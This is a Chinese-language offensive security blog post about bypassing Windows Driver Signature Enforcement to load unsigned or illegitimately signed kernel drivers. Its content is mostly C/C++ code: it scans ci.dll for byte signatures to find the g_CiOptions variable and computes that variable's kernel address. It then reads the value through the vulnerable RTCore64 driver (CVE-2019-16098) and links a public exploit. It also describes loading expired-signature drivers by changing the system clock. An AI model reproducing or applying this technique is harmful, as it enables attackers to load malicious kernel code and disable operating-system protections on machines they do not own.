点击上方“蓝字”,关注更多精彩
原文链接:http://www.pentester.top/index.php/archives/115/
加载驱动方案
1.合法签名
2.非法签名
3.驱动白利用
驱动白利用:
在进行驱动白利用之前,需要先了解DSE机制,他是微软校验驱动是否合法的一种安全机制。在系统中存在全局变量g_CiOptions来判断改机制是否开启。该变量共3个值分别是0、6、8。0代表关闭,6代码开启,8代码开启测试签名。
定位g_CiOptions:
g_CiOptions在CI.dll中的CipInitialize函数
CipInitialize通过CiInitialize进行调用,所以需要先找到CiInitialize函数:
HMODULE hModule = LoadLibraryExA("C:\Windows\System32\ci.dll", NULL,DONT_RESOLVE_DLL_REFERENCES);if (hModule == 0){ return;}LPVOID Address = GetProcAddress(hModule, "CiInitialize");printf("Address = %p rn", Address);
这里必须使用LoadLibraryExA来加载Dll,如果使用LoadLibrary会提示GetLastError=126,我也不知道为什么,问了好兄弟wwl才知道的。
定位到该函数后,需要继续定位CipInitialize的地址,首先看下Call的特征码:
00007FFF3870E444 4C 8B CB mov r9,rbx 00007FFF3870E447 4C 8B C7 mov r8,rdi 00007FFF3870E44A 48 8B D6 mov rdx,rsi 00007FFF3870E44D 8B CD mov ecx,ebp 00007FFF3870E44F E8 C4 09 00 00 call 00007FFF3870EE18
寻找特征码的代码如下:
HMODULE hModule = LoadLibraryExA("C:\Windows\System32\ci.dll", NULL,DONT_RESOLVE_DLL_REFERENCES);if (hModule == 0){ return;}DWORD64 Address = (DWORD64)GetProcAddress(hModule, "CiInitialize");
for (size_t i = 0; i < 0x200; i++){ if ((*((BYTE*)Address) == 0x4C) && (*((BYTE*)Address + 1) == 0x8B) && (*((BYTE*)Address + 2) == 0xCB)) {
printf("Address = %p rn", Address);
} Address++;}
找到特征码后需要计算CipInitialize的地址,代码如下:
Address = Address + 12; //获取Call偏移
DWORD Value = *((DWORD*)Address); //将偏移保存到变量中DWORD64 CipInitialize = Address + 4 + Value; //计算CipInitialize地址
定位成功:
获取到CipInitialize函数地址之后在如法炮制的获取g_CiOptions就行了,直接放代码:
DWORD Value = (*(DWORD*)(CipInitialize + 5));//Value = Value | ~(ULONGLONG)0xFFFFFFFF;printf("Value = %prn", Value);CipInitialize = CipInitialize + 9;printf("CipInitialize+9 = %prn", CipInitialize);DWORD64 g_op = (CipInitialize & ~(ULONGLONG)0xFFFFFFFF) + ((CipInitialize + Value) & (ULONGLONG)0xFFFFFFFF);printf("g_op = %prn",g_op);
注意,这仅仅是你自己加载的CI.dll的g_op并不是系统所使用的,所以还需要计算出系统所使用地址
计算真实g_op地址:
首先需要获取System下CI.dll的地址:
DWORD64 GetCiBaseAdress() {
HMODULE hModule = LoadLibraryA("ntdll.dll"); Fun_NtQuerySystemInformation NtQuerySystemInformation = (Fun_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
DWORD bufferSize = 0x1024; PVOID buffer = malloc(0x1024); NTSTATUS ntStatus = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11,buffer, bufferSize,&bufferSize);
if (ntStatus == 0xC0000004L) { free(buffer); buffer = malloc((SIZE_T)bufferSize);
ntStatus = NtQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)11, buffer, bufferSize, &bufferSize); }
PRTL_PROCESS_MODULES pvModules = (PRTL_PROCESS_MODULES)buffer;
for (size_t i = 0; i < pvModules->NumberOfModules; i++) { //cout << pvModules->Modules[i].FullPathName << " | Address:" << pvModules->Modules[i].ImageBase << endl; if (strstr( (char*)pvModules->Modules[i].FullPathName,"CI.dll") != NULL) { return (DWORD64)(pvModules->Modules[i].ImageBase); }
} return 0;}
偏移只需要减去自身加载的CI模块基础地址就可以得出:
((CipInitialize & ~(ULONGLONG)0xFFFFFFFF) + ((CipInitialize + Value) & (ULONGLONG)0xFFFFFFFF)) - (DWORD64)hModule
最终代码为:
DWORD64 KernelAddress = GetCiBaseAdress();if (KernelAddress != 0){ DWORD64 Ci_gOptions = KernelAddress + GetGoptionsOffset(); cout << Ci_gOptions << endl;}
通过windbg查看:
RTCore利用:
代码地址:https://github.com/Barakat/CVE-2019-16098/blob/cedee4f02b36492ab5e2b063573454d8d49be607/CVE-2019-16098.cpp
代码读取CI值:
const auto Device = CreateFileW(LR"(\.RTCore64)",GENERIC_READ | GENERIC_WRITE,0,nullptr,OPEN_EXISTING,0,nullptr);
if (Device == INVALID_HANDLE_VALUE){ printf("[!] Unable to obtain a handle to the device object"); return;}
cout << ReadMemoryWORD(Device, Ci_gOptions) << endl;
通过RTCore读取出来为6:
非法签名:
非法签名就是所谓的黑签名以及过期签名,过期签名是无法被系统加载的,但是我们可以修改计算机系统时间来加载过期签名:
SetSystemTime
这里我使用某神的驱动作为测试:
此时未修改系统时间进行加载会提示句柄无效:
修改系统时间:
END
看完记得点赞,关注哟,爱您!
扫码领hacker资料,常用工具,以及各种福利
还没有评论,来说两句吧...